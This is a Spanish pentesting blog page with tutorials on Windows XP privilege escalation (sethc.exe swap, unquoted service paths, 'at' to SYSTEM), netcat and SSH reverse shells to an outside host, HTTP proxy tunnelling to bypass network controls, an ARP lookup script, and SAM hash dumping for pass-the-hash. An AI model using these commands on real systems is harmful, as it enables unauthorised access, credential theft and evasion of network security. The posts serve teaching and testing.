Mostrando entradas con la etiqueta pentesting. Mostrar todas las entradas
Mostrando entradas con la etiqueta pentesting. Mostrar todas las entradas
Escalación de privilegios en Windows XP
Recientemente estuve tratando de escalar privilegios en una máquina local con Windows XP y, como es de esperarse, encontré una variedad de exploits en Internet. Voy a explicarles los más sencillos y efectivos dividiendo la tarea en dos partes: escalar privilegios desde una cuenta de usuario restringida hasta Administrator; y escalar privilegios desde Administrator hasta SYSTEM, lo que nos dará el control total del sistema.

Primera parte: "from pepe to Administrator"

Primero veamos como lograr privilegios de Administrator partiendo de una cuenta de usuario con privilegios restringidos. Para lograr esta escalada hay dos técnicas básicas, la primera consiste en sobreescribir el ejecutable C:\WINDOWS\SYSTEM32\sethc.exe (lo que requiere permisos de escritura en el directorio C:\WINDOWS\SYSTEM32) y la segunda consiste en explotar una vulnerabilidad en el procedimiento de ejecución de aplicaciones de Windows (la cual requiere permisos de escritura en el directorio C:\).

Veamos cómo funciona la primer técnica: Por defecto, Windows XP instala el software de ayuda y accesibilidad que se activa pulsando la tecla SHIFT 5 veces seguidas. Al hacer esto, aparece un cuadro de diálogo que permite configurar la aplicación sethc.exe ubicada en C:\WINDOWS\SYSTEM32.


El ataque consiste en sustituir sethc.exe por cmd.exe (esto se puede hacer con un disco de arranque ntfsdos o con un live cd de alguna distribución de Linux si no se puede escribir en el directorio C:\WINDOWS\SYSTEM), de esta forma cuando pulsemos la tecla SHIFT 5 veces seguidas se ejecutará un intérprete de comandos. Hasta este punto no es algo muy grave, pero la vulnerabilidad aparece cuando pulsamos SHIFT 5 veces antes de iniciar sesión ya que el interprete de comandos que se ejecuta lo hace bajo privilegios Administrator.


A continuación, cualquier comando que ejecutemos será como usuario Administrator. Lo ideal es crear una nueva cuenta Administaror, lo cual se hace de dos formas:
  • Ejecutando los comandos:

    • net user nuevoadmin 1234password /add
      net localgroup administrators nuevoadmin /add

    De esta forma creamos el usuario "nuevoadmin" con privilegios de administrador y contraseña "1234password"

  • Ejecutando "Computer Management"

    • compmgmt.msc

    Esta aplicación permite agregar usuarios mediante una interfaz gráfica.

Ahora veamos la segunda técnica: Esta técnica consiste en explotar una vulnerabilidad en el procedimiento de ejecución de aplicaciones de Windows. Cuando lanzamos una aplicación, si la ruta al ejecutable no contiene espacios, como por ejemplo:
C:\WINDOWS\system32\cmd.exe
Windows localiza el archivo cmd.exe e inicia su ejecución. Si en cambio la ruta al ejecutable contiene espacios debemos utilizar comillas dobles, como por ejemplo:
"C:\Program Files\McAfee\VirusScan Enterprise\Mcshield.exe"
para que Windows localice correctamente el archivo ejecutable. En la (vieja) notación 8.3 es posible evitar el uso de comillas mediante:
C:\Progra~1\McAfee\VirusS~1\Mcshield.exe

Pero qué sucede si olvidamos las comillas y ejecutamos:
C:\Program Files\McAfee\VirusScan Enterprise\Mcshield.exe

Puede parecer igual a lo anterior pero en realidad sucede lo siguiente:
  • Windows intenta localizar y ejecutar el archivo C:\Program.exe

  • Si ese archivo no existe, Windows intenta localizar y ejecutar el archivo C:\Program Files\McAfee\VirusScan.exe

  • Si ese archivo no existe, Windows finalmente intenta localizar y ejecutar el archivo originalmente deseado C:\Program Files\McAfee\VirusScan Enterprise\Mcshield.exe

Esto nos abre una puerta para lograr el acceso al sistema con mayores privilegios. Por qué? La mayoría de los servicios en Windows se ejecutan como SYSTEM y algunos se encuentran bajo el directorio "C:\Program Files". Entonces veamos la siguiente situación: supongamos que Mcshield.exe es un servicio que se inicia automáticamente con Windows y se ejecuta en el contexto de LocalSystem. La ruta al ejecutable es la mencionada anteriormente, pero sin comillas. Cuando Windows inicia, trata de ejecutar el servicio Mcshield automáticamente como LocalSystem, pero debido a que no hay comillas en la ruta al archivo Mcshield.exe tratará de iniciar (siempre como LocalSystem) primero lo siguiente:
  • C:\Program.exe

  • C:\Program Files\McAfee\VirusScan.exe

Por lo tanto es posible crear nuestro propio "servicio" Program.exe o VirusScan.exe y situarlo en la ubicación donde Windows accidentalmente tratará de ejecutarlo. El servicio puede ser algo básico como agregar un nuevo usuario administrador, como expliqué anteriormente.
Tal vez se pregunten: ¿puede ser que algún servicio tenga la ruta al ejecutable sin comillas? La respuesta es sí, yo lo probé y quedé sorprendido por la cantidad de veces que se ejecutó el "servicio" Program.exe al iniciar Windows. Solamente hay que encontrar uno que se ejecute con privilegios >= Administrator, o plantar el archivo Program.exe y esperar que un administrador inicie sesión en el equipo. En Windows XP es posible listar los servicios que se ejecutan automáticamente al iniciar el sistema desde Start > Settings > Control Panel > Administrative Tools > Services.
Una posible limitación es encontrarse sin permiso de escritura en el directorio "C:\" o "C:\Program Files\McAfee\" pero siempre podemos plantar el "servicio" utilizando un disco de arranque ntfsdos o un live cd. La última barrera sería no poder bootear el sistema desde unidades de disco o usb, en este caso podemos intentar resetear la BIOS quitando la pila.
Si tenemos acceso físico, el sistema está comprometido.

Segunda parte: "from Administrator to SYSTEM"

Bajo circunstancias normales, un usuario no puede ejecutar código como SYSTEM, sólo el sistema operativo tiene esta habilidad, pero utilizando el intérprete de comandos se puede abusar del comando ‘at’ para que Windows ejecute nuestro escritorio con privilegios SYSTEM. El comando ‘at’ despacha comandos y programas para ejecutarse en una fecha y tiempo específico. Este comando se puede utilizar sólo cuando el servicio “Task Scheduler” se está ejecutando y el usuario que lo ejecuta es miembro del grupo “local Administrators”.
Supongamos que una política de Windows nos impide modificar la configuración del proxy en Internet Explorer, a pesar de tener privilegios de administrador local. En la siguiente captura se observa la ventana de configuración de red de Internet Explorer (se accede desde “Tools > Internet Options… > Connections > LAN Settings…”).


Para comenzar, abrimos cms.exe y ejecutamos el comando ‘at’. Se observa que el comando está habilitado (de lo contrario retorna “Access is denied.”) lo que nos permite agregar una nueva tarea programada, como se observa en la siguiente captura:


Cuando el reloj alcanza las 8:27 se ejecuta la tarea “cmd.exe”, la diferencia es que esta tarea se ejecuta con privilegios SYSTEM ya que es iniciada por el servicio “Task Scheduler” que corre bajo la cuenta Local System. En la siguiente captura se observa el intérprete de comandos iniciado automáticamente, la barra de título indica ‘svchost.exe’ (Service Host) en lugar de ‘cmd.exe’. A partir de esta consola podemos ejecutar cualquier aplicación con privilegios SYSTEM:


Si abrimos Internet Explorer desde esta consola tenemos acceso a todas las opciones bloqueadas anteriormente. Esto nos permite, por ejemplo, modificar la configuración del servidor Proxy (estas opciones estaban grisadas en la primer captura):


Si deseamos un entorno de escritorio ejecutado bajo privilegios SYSTEM, primero debemos terminar el proceso “explorer.exe” para cerrar el entorno de escritorio actual:


Una vez que terminamos el proceso “explorer.exe” desaparece el escritorio y todas las ventanas abiertas, excepto la consola con privilegios SYSTEM. A continuación ejecutamos “explorer.exe” desde esta consola, lo que inicia un nuevo entorno de escritorio. Aunque el nombre de usuario corresponde con el nombre del sistema, lo que indica que el entorno de escritorio está ejecutando bajo privilegios SYSTEM. A partir que aquí, todas las aplicaciones que ejecutemos desde el escritorio se ejecutaran bajo privilegios SYSTEM. Es posible resetear la contraseña del administrador local, matar procesos pertenecientes a SYSTEM y acceder a todos los componentes bloqueados del sistema.
Para evitar este ataque, se debe deshabilitar el servicio “Task Scheduler” siempre que no sea necesario. Pero si es necesario, se debe deshabilitar el comando ‘at’ y utilizar el comando ‘schtasks’ (la documentación de este comando se encuentra en http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/schtasks.mspx).

Conclusión

Explotando estas vulnerabilidades, logramos acceso con privilegios SYSTEM a partir de una cuenta limitada "pepe". Espero que les haya gustado.

NOTA: La información presentada en este artículo fue para fines didácticos y no debía utilizarse para abusar de sistemas Windows ;)
cómo obtener una dirección IP a partir de una dirección MAC?
A veces es necesario obtener una dirección IP a partir de una dirección MAC. Por ejemplo, si estamos monitoreando nuestra red local y nos encontramos con tráfico de protocolos por debajo de la capa de red o tráfico IPv6.


Utilizando Wireshark es posible obtener todos los paquetes que tienen la dirección MAC determinada mediante el filtro eth.src==MACADDR. Si el host que posee la MAC envió tráfico IP podremos determinar la dirección IP inspeccionando los paquetes filtrados.
También es posible consultar la caché ARP para ver si existe una entrada con la dirección MAC.
Si se utiliza DHCP dentro del segmento y tenemos acceso al servidor DHCP, es posible determinar la dirección IP consultando la asignación de leases.
Pero si no hay una entrada con la dirección MAC correspondiente dentro de la caché ARP y no tenemos acceso al servidor DHCP, podemos realizar fuerza bruta sobre todas las direcciones IP dentro del segmento de red para encontrar la IP buscada.

El siguiente script bash busca la dirección IP correpondiente con una dirección MAC utilizando fuerza bruta sobre el rango de direcciones IP especificado. Básicamente lo que hace es un pedido ARP para cada IP del rango, si la MAC obtenida coincide con la MAC suministrada hemos encontrado la dirección IP correspondiente. El pedido de ARP se puede hacer de varias formas. Por ejemplo, es posible forzarlo enviando un paquete de una capa superior, como un ICMP echo request, y luego consultar la caché ARP y buscar la MAC deseada para obtener la IP correspondiente. También es posible utilizar directamente la herramienta arping utilizando cada dirección IP como parámetro.

#!/bin/bash

START_IP=192.168.0.1
END_IP=192.168.0.254

if [ $# -lt 2 ]
then
echo "usage: $0 <mac-addr> <start-ip> <end-ip>"
exit -1
fi

MAC_ADDR=$1
START_IP=$2
END_IP=$3

IP=(${START_IP//./ })
IP_FIN=(${END_IP//./ })

timestamp=$( date +"%s" )

echo -n "Scan progress"

for (( A=${IP[0]}; A<=${IP_FIN[0]}; A++ ))
do
for (( B=${IP[1]}; B<=${IP_FIN[1]}; B++ ))
do
for (( C=${IP[2]}; C<=${IP_FIN[2]}; C++ ))
do
for (( D=( ${IP[3]} ); D<=${IP_FIN[3]}; D++ ))
do
IP_ADDR="$A.$B.$C.$D"
echo -n "."
#ARPING_OUT=$( arping -c 1 $IP_ADDR 2> /dev/null )
ping -c 1 $IP_ADDR &> /dev/null
ARP_OUT=$( arp -n | grep -i $MAC_ADDR )
#if [[ "$ARPING_OUT" =~ $MAC_ADDR ]]
if [[ "$ARP_OUT" =~ $MAC_ADDR ]]
then
echo ""
echo $ARP_OUT
IP_FIN[0]=$A
IP_FIN[1]=$B
IP_FIN[2]=$C
IP_FIN[3]=$D
fi
done
done
done
done

endtimestamp=$( date +"%s" )
scantime=$(( endtimestamp - timestamp ))
echo ""
echo "Done ($scantime seconds)"

Ahora veamos el script en acción:

Tuneles HTTP + Reverse shell a través de Proxy
En el artículo sobre shells inversas les comentaba que nos sirven para obtener conexiones a través de firewalls y NAT, pero nos falta un añadido para que funcionen en entornos donde la única salida a internet es a través de proxies.
Muchos entornos configuran la seguridad perimetral para que el único acceso a internet sea Web, a través de proxies, cerrando toda posibilidad de salir a otros protocolos como ssh, vnc, etc. Si bien parece que esta configuración cierra la posibilidad de que máquinas de la intranet accedan a máquinas de internet, evitando las shells inversas, como veremos, esto no es así...


Túneles HTTP

Existen dos alternativas para crear túneles HTTP. Por un lado podemos utilizar un programa que cree un canal, basado en pedidos HTTP, a través del cual transmita datos de otros protocolos. Este tipo de programas están divididos en dos partes, una parte servidor que espera pedidos para establecer conexiones HTTP y un cliente utilizado en las máquinas que desean establecer el túnel.
El funcionamiento es simple y muy parecido al de los túneles SSH. Supongamos que tenemos un cliente en la intranet que desea ejecutar ssh en su máquina con acceso a internet, pero se encuentra detrás de un proxy. La máquina conectada a internet ejecuta el servidor del túnel en el port 80 y espera conexiones. El usuario que se encuentra en la máquina de la intranet abre el cliente del túnel HTTP, se conecta a al servidor a través del proxy y establece el túnel por el que transportará ssh. El servidor del túnel forwardea los datos recibidos al servidor:port correspondiente, en este caso SSH en la misma máquina.
Existen alternativas comerciales que realizan este trabajo, proporcionando servidores de túneles HTTP propios que permiten forwardear conexiones a las máquinas que deseemos (a cambio de un pago basado en la cantidad de datos transmitidos). También se pueden utilizar programas libres (cliente y servidor) que proporcionan esta capacidad. Buscando encontré uno llamado GNU httptunnel y otro HTTPTunnel@JUMPERZ.NET.

Pasemos a la otra alternativa, la cual me interesa más. El protocolo HTTP provee un método para crear túneles llamado CONNECT. Este método surgió de la necesidad de los proxies para crear conexiones SSL. Los proxies Web reciben pedidos de los browsers como si fueran un site, se conectan a la página que solicita el usuario y la devuelve al browser, esto es, actúa de mediador web entre los usuarios de la intranet y la web de internet. Este mecanismo tiene problemas con las conexiones SSL, porque en ellas la conexión es punto-a-punto entre el browser y la página web. El proxy no puede actuar de mediador, se tiene que limitar a forwardear los pedidos.
El método CONNECT soluciona el problemas de los proxies. Cuando un usuario ejecuta CONNECT en un proxie, éste entiende que el usuario desea crear una conexión TCP no-HTTP a un servidor. En este ambiente, el proxy genera una conexión TCP/IP con el servidor destino y simplemente envia/recibe datos desde/hacia la conexión con el cliente. Cabe destacar que sólo el pedido de conexión inicial es HTTP, el resto es stream TCP.
Gracias a esta propiedad del protocolo HTTP, es posible realizar cualquier tipo de conexión a través de un proxy, como ser ssh, telnet, ftp, lo que se les ocurra. Para que esto funcione el cliente que se encuentra detrás del proxy debe contar con un programa que tunelee el tráfico. Este programa es en realidad muy sencillo, solamente se encarga de enviar el pedido HTTP CONNECT inicial y luego actúa como intermediario enviando/recibiendo los datos desde/hacia el proxy. Los programas que encontré para realizar este trabajo son corkscrew y ProxyTunnel.



El problema en estos casos es que tenemos que modificar de alguna forma los programas que deseamos tunelear para que utilicen al programa itermediario. Por suerte SSH ya cuenta con esta facilidad y SSH permite tunelear cualquier otro protocolo, así que estamos salvados =)

Otro punto a tener en cuenta es que muchos proxies solamente permiten utilizar el método CONNECT cuando el pedido es al puerto 443, es decir HTTPS. Esto claramente limita a que las conexiones solamente vayan a ese puerto, pero si tenemos acceso a la máquina de internet a la que nos conectaremos, podemos hacer que el programa que deseamos acceder (por ejemplo SSH) escuche en el port 443.


Shell inversa a través de túnel HTTP

Si en el artículo anterior mezclé un poco las cosas entre túneles SSH y NetCat, ahora voy a mezclarlas entre túneles HTTP y túneles SSH.
Lo que vamos a hacer es tunelear un túnel SSH a través de un túnel HTTP... faaaaaaa



Si bien a través de un túnel HTTP podríamos enviar cualquier cosa, la facilidad que provee SSH para utilizar esta clase de túneles hace que sea la herramienta perfecta para el trabajo. Como recordarán del artículo de shell inversas, para realizarlo utilizando ssh necesitamos crear un túnel desde la máquina de la intranet a nuestra máquina en internet (shell.demasiadovivo.com). Este túnel viajará a través de un túnel HTTP que crearemos utilizando la herramienta corkscrew. Tanto Proxytunnel como corkscrew se encuentran en los repositorios de muchas distribuciones, así que no tendrán problemas para instalarlo.

Para utilizar corkscrew desde el cliente ssh, tendremos que editar el archivo de configuración de ssh que debería estar ubicado en $HOME/.ssh/config. Si no exite, creenlo. Dentro de este archivo hay que agregar la opción ProxyCommand para los host que deseamos acceder a través del túnel. El archivo de configuración deberá entonces contener las siguientes líneas:
Host *
ProxyCommand corkscrew el-proxy.com 8080 %h %p
Con esas líneas le decimos al cliente SSH que para realizar cualquier conexión (indicado con Host *) ejecute el comando corkscrew con los parámetros el-proxy.com 8080 para indicar la dirección del proxy y el port, y %h %p que SSH reemplazará automáticamente con los valores de entrada para host y port.
Una vez guardado el archivo de configuración, simplemente resta ejecutar ssh y probar:
ssh dv@shell.demasiadovivo.com -p 443
si todo fue bien, ya tenemos configurado ssh a través de un proxy HTTP... fácil no?

Lo único que resta para crear nuestra shell inversa es ejecutar los comandos que creen el túnel y luego la conexión:
En la máquina de la intranet: ssh -R 4444:localhost:443 dv@shell.demasiadovivo.com -p 443
En la máquina shell.demasiadovivo.com: ssh demasiadovivo@localhost -p 4444
donde el usuario dv debe existir en la máquina shell.demasiadovivo.com y el usuario demasiadovivo debe existir en la máquina de la intranet. Noten que en lugar de utilizar el port default 22 utilicé el 443 que es el que me permite el proxy.

También se puede hacer el truco de utilizar NetCat en la máquina de la intranet y así evitar un login, como expliqué en el artículo anterior.

Algo a tener en cuenta es que los proxies cortan las conexiones que permanecen inactivas por un cierto tiempo. Esto es algo bastante molesto, pero solucionable. Por suerte OpenSSH cuenta con un parche que hace al servidor enviar un paquete keep alive cada cierto tiempo (por ej, cada 15 segundos) para mantener la conexión activa y evitar que el proxy nos cierre la conexión. El parámetro utilizado para esto es ClientAliveInterval y se activa en el archivo sshd_config. También se puede configurar desde el cliente, editando ssh_config y agregando la línea ServerAliveInterval.


Posibilidades infinitas

Como dice el creador de ProxyTunnel en su página "How To Give Network Security Administrators a Tremendous Headache", algo así como "Cómo darle a los administradores de seguridad de red un tremendo dolor de cabeza". Gracias al túnel HTTP y a los túneles SSH podremos salir a cualquier lugar de la red que queramos, bypasseando todo control impuesto por el administrador de red, ni firewall ni NAT ni proxies pueden detenernos ahora (salvo que nos corten internet).

Si bien expliqué cómo crear una shell inversa saliendo por el proxy, también podría haber plantado un proxy en shell.demasiadovivo.com y navegar a través de ese proxy, bypasseando controles impuestos en el proxy de la intranet. De la misma forma podríamos acceder a cualquier servidor de internet a cualquier puerto, todo gracias a la flexibilidad del forwarding de SSH. El límite lo imponen ustedes.


Referencias

- On ProxyTunnel
- HTTP Tunnel (wiki)
- Build and Configure an HTTP-Proxy Application
- Tunneling SSL Through a WWW Proxy
Reverse Shell y túneles SSH
Inspirado en el video de penetration testing publicado por la gente de Offensive Security (los encargados de desarrollar Back|Track), decidí investigar más profundamente el tema de las shells inversas. Lo que muestran en el video es genial, recomiendo totalmente que lo vean.

A continuación explicaré un poco de qué trata una shell inversa y cómo crearlas utilizando NetCat y SSH. Debido a la necesidad de utilizar tuneles SSH, también explicaré de qué trata este tipo de túneles y cómo utilizarlos.


Qué es una shell inversa?


Comúnmente un usuario se conecta a otra máquina a través de ssh, telnet, etc, y obtiene una shell allí. A este tipo de conexión podríamos llamarla shell remota "normal". Shell inversa se le dice a una conexión establecida desde la máquina destino al cliente, en lugar del cliente a la máquina destino, donde el cliente obtiene una shell en esta última. Esto es, la conexión la inicia la misma máquina donde se ejecutarán los comandos luego.

shell remota "normal": Cliente ----> Máquina remota (shell)
shell inversa: Máquina remota (shell) ----> Cliente


Para qué sirve una shell inversa?

Una shell inversa nos permite bypassear firewalls y NATeo. Supongan que tenemos un servidor en nuestra intranet con IP 192.168.1.10 y no tiene asignada ninguna IP pública, cómo lo accederíamos desde la red pública (Internet)? para poder accederlo a través de internet, necesitamos que tenga una IP pública y que el firewall que lo protege permita conexiones a los puertos de conexiones remotas (llamase 22 para ssh, 23 para telnet, etc). Este problema queda solucionado con una shell inversa.

Supongamos que tengo una máquina en Internet con dirección shell.demasiadovivo.com, y desde ella deseo acceder al servidor de la intranet con IP interna 192.168.1.10. Lo que necesito hacer es conectarme desde el servidor 192.168.1.10 a shell.demasiadovivo.com abriendo una shell inversa, la cual puedo utilizar desde la máquina shell.demasiadovivo.com para ejecutar comandos en el servidor.

En general los firewalls no permiten conexiones entrantes a la intranet, pero si permiten que las máquinas de la intranet salgan a Internet. En muchos casos sólo se permite salir a internet a través de los ports 80 y 443 (http y https), probablemente a través de un proxy.


Shell inversa utilizando la navaja suiza NetCat

Cualquier persona que sepa algo de redes ha sentido nombrar al menos una vez la herramienta NetCat. Esta simple herramienta sirve para crear sockets tcp y udp entre dos máquinas, a través de los cuales se pueden escribir y leer datos. NetCat va un poco más allá y también permite asociar un programa a una conexión, y gracias a esto podemos asociar una shell...

Con NetCat podemos crear tanto conexiones de clientes como servidores. Por ejemplo, para conectarnos a un servidor HTTP de google, simplemente podemos ejecutar "nc www.google.com 80". Para crear un socket que espera conexiones ejecutamos algo como "nc -l -p 5000", donde -l indica que se quede escuchando a la espera de conexiones y -p indica el port en el que debe escuchar.

Teniendo una idea básica de cómo funciona NetCat, pasemos a ver cómo realizar una shell inversa. Lo que haré es utilizar NetCat en shell.demasiadovivo.com para crear un socket que quede a la espera de conexiones en el port 4444. Esto se hace ejecutando:
$ nc -l -p 4444 -vvv
como expliqué anteriormente, -l deja a NetCat escuchando en el port 4444 definido con -p. El parámetro -vvv se utiliza para que NetCat nos de la mayor información posible sobre lo que sucede. Gracias a esto, cuando otra máquina se conecte a la nuestra, nc lo indicará por pantalla.

OK, ahora que tenemos nuestro NetCat escuchando en shell.demasiadovivo.com procedamos a crear la shell inversa. Para ello, en la máquina que deseamos controlar a través de un shell remoto (por ejemplo el server 192.168.1.10), ejecutamos lo siguiente:
$ nc -e /bin/bash shell.demasiadovivo.com 4444
El parámetro -e nos permite decirle a NetCat que, cuando establezca la conexión, todos los datos recibidos por el socket los envíe a bash, y todos los datos de salida de bash los envíe a través del socket.

Lo que veremos parados en la máquina shell.demasiadovivo.com será algo como:
root@bt:~# nc -l -p 4444 -vvv
listening on [any] 4444 ...
192.168.1.10: inverse host lookup failed: Unknown server error : Connection timed out
connect to [shell.demasiadovivo.com] from (UNKNOWN) [192.168.1.10] 55524
esto es, ya tenemos nuestra shell inversa. Tengan en cuenta que no va a aparecer un prompt ni nada por el estilo, simplemente tiren un comando y esperen el resultado. Lo único que verán es el flujo de datos, es decir, lo que escriben en el socket y lo que responde bash desde el servidor.

Si la máquina que deseamos acceder remotamente es un Windows en lugar de un Linux, también pueden utilizar NetCat y ejecutar un command. En este caso, el comando sería casi idéntico, cambiando /bin/bash por cmd.exe:
nc -e cmd.exe shell.demasiadovivo.com 4444
Resúmen para crear una shell inversa utilizando NetCat
Máquina en internet: nc -l -p 4444 -vvv
Máquina en intranet: nc -e /bin/bash shell.demasiadovivo.com 4444

Túneles SSH

SSH es otra de esas joyitas con las que cuenta un administrador. Esta herramienta no sólo nos permite realizar conexiones seguras (todos los datos viajan encriptados), sino que también nos provee la posibilidad de tunelear otras conexiones y hacer port forwarding.

Cómo funcionan los túneles SSH? Explicar con palabras cómo funciona un tunel SSH es un dolor de cabeza, así que veamos un ejemplo y luego detallo qué sucede.

Supongamos que tenemos un servidor de e-mail SMTP (port 25), el cual funciona sin encripción, y deseamos que ahora los e-mails se transporten encriptados entre el cliente y el servidor. Lo que haremos es crear un túnel SSH indicando que todo lo que se reciba a través del túnel con un dado puerto fuente, se envíe a un dado puerto destino. El puerto destino en este caso será el 25, y el fuente puede ser cualquiera que deseemos, tal vez el 2525. El comando para realizar dicha acción desde el cliente es:
$ ssh -L 2525:localhost:25 demasiadovivo@mail.empresa-top.com
OK, el comando parece confuso así que vayamos por partes:
-L indica a SSH que el port fuente será el 2525, el host al que se conectará el server es localhost (la misma máquina tiene el servidor SSH y SMTP) y el port que recibirá los datos al otro lado de la conexión es el 25 (SMTP).

user@host es utilizado para loguearnos en el servidor SSH, donde user es el nombre de usuario remoto y host es el host donde queremos loguearnos, es decir, el servidor de mail.
Algo que vale aclarar es que el cliente SSH se conecta al servidor SSH de mail.empresa-top.com en el puerto de SSH (el default es 22). Una vez que realiza la conexión abre el puerto 2525 en la máquina cliente escuchando pedidos. Todo lo que recibe a través del port 2525 lo transporta hasta el servidor mail.empresa-top.com y lo entrega a localhost (el mismo server) en el port 25.



Como se ve en la imagen, una vez creado el túnel ssh con el comando anterior, tendremos que configurar nuestro cliente de mail (Thunderbird por ejemplo) para que se conecte localmente (localhost) al puerto 2525. Cuando enviemos un e-mail con Thunderbird, éste se conectará al port local 2525, SSH sabe que las conexiones a ese port deben ser enviadas al port 25 del servidor mail.empresa-top.com, así que transportará el contenido y cuando llega al servidor lo entregará en el port 25.

Si bien en este ejemplo creé el túnel desde el cliente al servidor, también se puede hacer de forma inversa... ésta es la que nos interesa para las shells inversas. Para crear una conexión desde el servidor al cliente, el cliente deberá tener instalado un servidor SSH en su máquina (en el caso anterior sólo hacía falta un cliente). El comando, en este caso ejecutado desde el servidor, es el siguiente:
$ ssh -R 2525:localhost:25 dv@shell.demasiadovivo.com
En este caso -R funciona de la misma forma que -L, con la diferencia que estamos ejecutando el comando desde el servidor y queremos que el túnel sea reverso. La dirección del servidor SSH en este caso es la de nuestra máquina cliente, es decir shell.demasiadovivo.com, y el usuario con el que nos logueamos en dicha máquina es dv.

Por como plantee el ejemplo, el servidor de e-mail está en la misma máquina que el de SSH, pero SSH permite hacer forward a otros servidores. Supongamos que sólo deseamos encriptar la conexión entre el cliente de mail y una máquina que se encuentre en la misma red que el servidor de mail, luego la conexión entre dicha máquina y el servidor de mail puede ir sin encripción. La máquina accesible por el cliente de mail tendrá un servidor SSH que hará forward de lo que recibe al servidor de mail.
En este caso, el cliente ejecutará un comando como el siguiente:
$ ssh -L 2525:mail.empresa-top.com:25 demasiadovivo@ssh.empresa-top.com
La máquina que hace de front-end SSH tiene el nombre ssh.empresa-top.com, mientras que el servidor de e-mail sigue llamándose mail.empresa-top.com. Una vez establecido el túnel, cuando el cliente se conecte al port 2525 de localhost y envíe datos, SSH los transportará a través del túnel y cuando lleguen a ssh.empresa-top.com, éste los entregará al servidor mail.empresa-top.com en el puerto 25.



NOTA: los túneles SSH también se pueden crear en Windows con herramientas como PuTTY. Para ello van al apartado Connection -> SSH -> Tunnels, en source port colocan 2525 y en destination shell.demasiadovivo.com:25, y le dan al botón Open.


Shell inversa utilizando SSH

Ufff, explicar los túneles SSH fue más complicado de lo que esperaba...
El uso que nos interesa es realizar un túnel a través del cual ejecutar una shell remota. El túnel lo inicia la máquina sobre la cual deseamos ejecutar el shell (recuerden, es un shell inverso), por ejemplo, podemos usar el servidor 192.168.1.10. Este servidor se conectará a un servidor ssh instalado en mi máquina shell.demasiadovivo.com y creará un tunel. Luego, desde mi máquina yo me conecto al túnel y tendré mi shell remota.

Lo que haremos para crear una shell inversa es utilizar un túnel SSH creado desde la máquina en la intranet (por ejemplo nuestro server 192.168.1.10) hacia nuestra máquina en internet shell.demasiadovivo.com. Como expliqué en la sección anterior, en la máquina de internet tendré que tener un servidor SSH instalado.

Procedamos como expliqué anteriormente, creamos el túnel con:
$ ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com
Esto crea un tunel a través del cual las conexiones a localhost en shell.demasiadovivo.com al port 4444 se envían a la máquina de la intranet al port 22 (ssh). Una vez más, cómo la conexión sale de la intranet, la dirección destino es la de la máquina en internet.

Una vez creado el túnel, ya podemos obtener nuestra shell remota. Para esto, en nuestra máquina de internet simplemente nos conectamos a localhost en el port 4444. Hay que tener en cuenta que el usuario con el que nos loguiemos deberá existir en la máquina de la intranet:
$ ssh demasiadovivo@localhost -p 4444
Puede resultar confuso, pero el comando anterior no nos abre un shell en la máquina local, sino en la máquina remota, a través del reenvío del túnel SSH establecido en el port 4444. El usuario demasiadovivo es un usuario válido en el server.

Resumen para crear una shell inversa utilizando SSH:
Máquina en intranet: ssh -R 4444:localhost:22 dv@shell.demasiadovivo.com
Máquina en internet: ssh demasiadovivo@localhsot -p 4444

Shell inversa utilizando NetCat Tuneleado por SSH

Entramos a mezclar un poco las cosas. Como en el caso anterior necesitamos tener un servidor SSH tanto en la máquina de la intranet como en la que se encuentra en internet, se me ocurrió eliminar uno de estos utilizando NetCat.

Lo que haré es crear un túnel SSH desde la máquina en la intranet a shell.demasiadovivo.com, y además dejar NetCat escuchando en el port 2222, asociando una shell. Luego desde shell.demasiadovivo.com solamente tendré que conectarme con nc al port 4444 en localhost.

En la máquina de la intranet necesitamos ejecutar lo siguiente:
$ ssh -R 4444:localhost:2222 dv@shell.demasiadovivo.com
$ nc -l -p 2222 -vvv -e /bin/bash
En shell.demasiadovivo.com simplemente nos conectamos al port 4444 de localhost:
$ nc localhost 4444
Con esto no necesitamos que la máquina de la intranet tenga un servidor SSH.


Conclusiones

Vimos cómo una conexión remota a una máquina que se encuentra en la intranet, con IP privada y detrás de un firewall. Este método se utiliza muchisimo para tomar control de máquinas en una red. Los exploits suelen contener el código hexa para crear una shell inversa como payload, pero es muy útil saber hacerlo con herramientas tan comunes y útiles como NetCat y SSH. Además esto nos sirve para administrar legalmente máquinas que se encuentran en nuestra intranet, sin necesidad de configurar el firewall para permitir tales conexiones... siempre es más seguro hacer conexiones de esta forma que tener la máquina con una IP pública corriendo un server SSH.

Esperaba incluir en este artículo el método para obtener shells inversas pasando a través de un proxy. Si la única salida que tienen las máquinas de la intranet a internet es a través de un proxy web la cosa se complica porque es necesario un túnel HTTP. Como el artículo quedó bastante largo, este dato quedará para un artículo aparte =)


Referencias


- Little Reverse Shell Guide
- Reverse SSH Tunneling
- SSH Tutorial for Linux
- On ProxyTunnel
Pass-The-Hash + Token Impersonation = Escalación de privilegios en dominios Windows
Para complementar el artículo Cracking passwords Windows y Active Directory y acercándome más a lo explicado en ¿Cómo tomar control de un Dominio en Windows?, les explicaré como tomar control de un dominio AD sin crackear passwords, simplemente utilizando el ataque pass-the-hash y suplantación (impersonation) de usuarios.

Al igual que en el ataque que demostré en mi otro artículo, podremos partir de un atacante sin cuenta de usuario en el dominio, sólo con acceso físico a una workstation, y terminar siendo administradores de dominio... cool no?


Obtengamos los hashes

Una vez más necesitaremos una distribución de Linux como backtrack, desde la cual iniciamos en una workstation de la red. Desde ahí montamos la partición de Windows en /mnt/hack/ y procedemos a obtener los hashes de la SAM local.
Primero conseguimos el syskey para desencriptar los hashes y la almacenamos en syskey.txt:
bkhive /mnt/crack/WINDOWS/system32/config/system syskey.txt
y a continuación obtenemos los hases:
samdump2 /mnt/crack/WINDOWS/system32/config/SAM syskey.txt > hashes.txt
Ya tenemos los hashes de las cuentas locales. Esta vez no necesitamos crackear estos hashes, ya nos alcanza con tenerlos... locura? no, gracias a Windows, no lo es.


Pass-the-Hash attack


El ataque pass-the-hash no es realmente un ataque, sino una característica del protocolo de autenticación LM/NTLM/NTLMv2. Cuando un usuario desea acceder a un recurso de otra máquina, dependiendo la versión de Windows y cómo esté configurado, la autenticación se llevará a cabo utilizando LM/NTLM/NTLMv2 o el mucho muy preferible Kerberos. Si bien desde Windows 2000 la autenticación ideal es Kerberos, Windows (y su lema "compatibilidad hacia lo inseguro") permite utilizar otros tipos de autenticaciones, osea, alguno de los citados. Es por esto que todavía podemos acceder recursos por red utilizando LM/NTLM/NTLMv2. Si bien NTLMv2 es bastante más seguro que sus predecesores, sigue padeciendo del mismo problema... el pass-the-hash.
